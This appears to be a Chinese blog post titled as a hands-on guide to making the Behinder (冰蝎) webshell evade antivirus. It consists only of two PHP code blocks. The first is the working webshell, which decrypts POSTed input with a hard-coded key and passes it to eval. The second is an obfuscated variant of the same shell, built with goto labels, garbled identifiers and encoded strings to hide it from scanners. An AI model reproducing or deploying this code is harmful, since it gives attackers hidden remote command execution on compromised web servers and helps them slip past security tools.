冰蝎Webshell的免杀实战（一）

<?php@error_reporting(0);session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond$SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64"."decode";$post=$t($post."");  for($i=0;$i<strlen($post);$i++) {       $post[$i] = $post[$i]^$key[$i+1&15];       }}else{  $post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>

<?php/*yunzui*/goto ½ÎÃÏ;¨êãâ:function ˆšî(){goto Ö“Âý;íÒÈÛ:return((parse_str("®íñš=Y2FsbF91c2VyX2Z1bmM",$õþõ±)||$õþõ±)?base64_decode($õþõ±['®íñš']):"");goto ñæ¦ì;ñæ¦ì:±íúÂ:goto ô«—˜;ó®æ¢:$Š³ñ‘=0x00026a9;goto ŠÓ’õ;ŠÓ’õ:if(!($„“ý[0]==$Š³ñ‘+0x0024))goto ±íúÂ;goto íÒÈÛ;Ö“Âý:$„“ý=func_get_args();goto ó®æ¢;ô«—˜:}goto ߁Ñ;Ͳ”°:goto ÔŸ¶õ;goto ÅØ»ô;»Œ¶Ô:class C{public function __invoke($´€¼À){eval($´€¼À.base64_decode(str_rot13('')));}}goto ¹Ôœ·;ž–™:ÔŸ¶õ:goto °ËüÉ;ÅØ»ô:Ý²÷:goto ™µý¼;Û®ˆ:$Ö€Ï=˜ò(0x000d95,0x00da8,0x0000d73)(˜ò(0x00df3,0x00000dce));goto ¶Á ;˺Úë:$ð謃=˜ò(0x00d08,$ð謃);goto û»‰;¡ÐÈ—:$Ö€Ï=$‰óԏ($Ö€Ï.((parse_str("–õ¿×=",$¥¨ýÊ)||$¥¨ýÊ)?base64_decode($¥¨ýÊ['–õ¿×']):""));goto ³òäÝ;™µý¼:ûãýË:goto 搓‡;߁Ñ:function ÃŒûƒ(){goto Òé¿€;ÁŒíÇ:return((parse_str("c3RybGVu",$Ãò²¶)||$Ãò²¶)?base64_decode(key($Ãò²¶)):"");goto ãáÚ;÷㵸:ÍØËÎ:goto Ýžº¤;‘´¿Â:if(!($¯‡¬Æ[0x0002]==$©¢Ì+0x00061))goto µž×ì;goto á;ÆÙâã:$©¢Ì=0x0240e;goto ÖÚï½;ðÁ¯¬:µž×ì:goto ¯ÎÒ×;á:return(base64_decode('b3BlbnNzbF9kZWNyeXB0')?:$טգ);goto ðÁ¯¬;¬¹•Ž:if(!($¯‡¬Æ[0x001]==$©¢Ì+0x000013e))goto ßîÛñ;goto ——¹™;ÁÁÓì:return((parse_str("‡¡Ž=ZXhwbG9kZQ",$ÑÛÚû)||$ÑÛÚû)?base64_decode($ÑÛÚû['‡¡Ž']):"");goto ’²óŒ;ÖÚï½:if(!($¯‡¬Æ[0x001]==$©¢Ì+0x02d))goto Á㤈;goto ÁŒíÇ;øôÜÎ:return base64_decode(str_rot13('DHIGZGV4'));goto ÷㵸;——¹™:return "x7c";goto ÍÌ–ƒ;ãáÚ:Á㤈:goto ‘´¿Â;¯ÎÒ×:if(!($¯‡¬Æ[0x001]==$©¢Ì+0x0000b7))goto ÍØËÎ;goto øôÜÎ;’²óŒ:¿Ïˆ:goto ¬¹•Ž;Òé¿€:$¯‡¬Æ=func_get_args();goto ÆÙâã;ÍÌ–ƒ:ßîÛñ:goto ݈·¦;Ýžº¤:if(!($¯‡¬Æ[0x001]==$©¢Ì+0x00000f9))goto ¿Ïˆ;goto ÁÁÓì;݈·¦:}goto ‹âãÄ;Ûžªö:@˜ò(0x000cf5)(0);goto Ñː˜;±ëéˆ:$¾¶è¼=$Œåò„[0];goto Üí©­;°ËüÉ:if(!($›•Å•<ÃŒûƒ(0x002450,0x0243b)($Ö€Ï)))goto Ý²÷;goto çÈŸÞ;çÈŸÞ:$Ö€Ï[$›•Å•]=$Ö€Ï[$›•Å•]^$ð謃[$›•Å•+0x001&0x0f];goto ©è³±;´©ú§:¸Õï:goto ·¸¶†;ÁÜÁ·:$›•Å•++;goto Ͳ”°;‹âãÄ:function ûú¥ó(){goto ȵ¢ý;ÊѼÁ:return gzinflate('K­(IÍ+ÎÌÏ‹ÏÉOLIM�');goto õÕ·å;ô Ù:return base64_decode(join("",array('Y','m','F','z','Z','T','Y','0','X','w')));goto õ¯¶›;¦¬û:if(!($äˆýÆ[0]==$¤üì˜+0x037))goto  ï’è;goto æÝ”;ÖÝŠÂ:$¤üì˜=0x00000e00;goto ¤—ïÁ;õÕ·å:îߤ”:goto ¦¬û;õ¯¶›:œ¬‹Ï:goto  ½ô¥;¶ŸÁ¹:—䧆:goto ú¨ï«;ȵ¢ý:$äˆýÆ=func_get_args();goto ÖÝŠÂ; ½ô¥:if(!($äˆýÆ[0]==$¤üì˜+0x000006d))goto —䧆;goto 둨ˆ;æÝ”:return gzinflate('Ë/HÍ+.Î�');goto ‚ ™œ;¤—ïÁ:if(!($äˆýÆ[0]==$¤üì˜+0x0015))goto îߤ”;goto ÊѼÁ;»ïÊÃ:if(!($äˆýÆ[0]==$¤üì˜+0x004c))goto œ¬‹Ï;goto ô Ù;‚ ™œ: ï’è:goto »ïÊÃ;둨ˆ:return base64_decode(join("",array('Z','G','V','j','b','2','R','l')));goto ¶ŸÁ¹;ú¨ï«:}goto „è›Ø;„„éŽ:˜ò(0x00000d51)();goto Û®ˆ;„è›Ø:function ˜ò(){goto µ¾ýö;µ¢Ü·:return base64_decode('ZTQ1ZTMyOWZlYjVkOTI1Yg');goto Š„Ä ;ßµ–Ì:Šõ‡ö:goto ™ŠÂ²;ÎÀ°Ä:return(($½šÒ·=gzinflate(substr(base64_decode('H4sIAAAAAAAAA0stKsovii9KLcgvKsnMSwcAF20hmA8AAAA'),10,-8)))?$½šÒ·:$ØÒš);goto î°¥¬;¾œóœ:if(!($½“â[0x001]==$”ݸ‚+0x000049))goto ™ý¥î;goto ¾Ú˜Ô;”ÁÄ©:if(!($½“â[0x001]==$”ݸ‚+0x00100))goto ©ÂÛý;goto ‰É£Ä;âŽÕ×:if(!($½“â[0]==$”ݸ‚+0x00003a))goto ÚÈ¥ƒ;goto µ¢Ü·;妥Þ:if(!($½“â[0]==$”ݸ‚+0x0000027))goto ëß©Þ;goto ÎÀ°Ä;µ¾ýö:$”ݸ‚=0x0000cce;goto µúÓ;µúÓ:$½“â=func_get_args();goto 妥Þ;‰É£Ä:return(($«º“¥=gzinflate(substr(base64_decode('H4sIAAAAAAAAAyvIKLDS18/MKygtAQCnED5iCwAAAA'),10,-8)))?$«º“¥:$Èßú);goto 陿;¢ìµ®:if(!($½“â[0]==$”ݸ‚+0x0083))goto Šõ‡ö;goto ª»Š¤;¾Ú˜Ô:return(($“‘Ûã=gzinflate(substr(base64_decode('H4sIAAAAAAAAA8sGAF1XYggBAAAA'),10,-8)))?$“‘Ûã:$ÂüœÇ);goto æÀØ€;陿:©ÂÛý:goto €–¾ô;Ø­€ø:return base64_decode(join("",array('Z','m','l','s','Z','V','9','n','Z','X','R','f','Y','2','9','u','d','G','V','u','d','H','M')));goto Íœ–Ä;æÀØ€:™ý¥î:goto ¢ìµ®;Š„Ä :ÚÈ¥ƒ:goto ¾œóœ;ª»Š¤:return((parse_str("c2Vzc2lvbl93cml0ZV9jbG9zZQ",$¥’‚É)||$¥’‚É)?base64_decode(key($¥’‚É)):"");goto ßµ–Ì;™ŠÂ²:if(!($½“â[0x0002]==$”ݸ‚+0x0a5))goto ϹàÆ;goto Ø­€ø;î°¥¬:ëß©Þ:goto âŽÕ×;Íœ–Ä:ϹàÆ:goto ”ÁÄ©;€–¾ô:}goto Ûžªö;½ÎÃÏ:error_reporting(0);goto ¨êãâ;·¸¶†:$‰óԏ=ûú¥ó(0x0e4c).ûú¥ó(0x0000e6d);goto ¡ÐÈ—;搓‡:$Œåò„=ÃŒûƒ(0x00000252f,0x000002507)(ÃŒûƒ(0x000257d,0x0000254c),$Ö€Ï);goto ±ëéˆ;ÉöèØ:goto ûãýË;goto ´©ú§;Üí©­:$·ø¬Ý=$Œåò„[0x001];goto »Œ¶Ô;Ñː˜:session_start();goto ˺Úë;û»‰:$_SESSION[˜ò(0x00d21,0x00d17)]=$ð謃;goto „„éŽ;³òäÝ:$›•Å•=0;goto ž–™;¶Á :if(!ûú¥ó(0x0e15)(ûú¥ó(0x00000e37)))goto ¸Õï;goto ´ŸÍš;´ŸÍš:$Ö€Ï=ÃŒûƒ(0x00249b,0x0024b4,0x000246f)($Ö€Ï,ÃŒûƒ(0x00024f6,0x000024c5),$ð謃);goto ÉöèØ;©è³±:êÓ›à:goto ÁÜÁ·;¹Ôœ·:@ˆšî(0x000026cd)(new C(),$·ø¬Ý);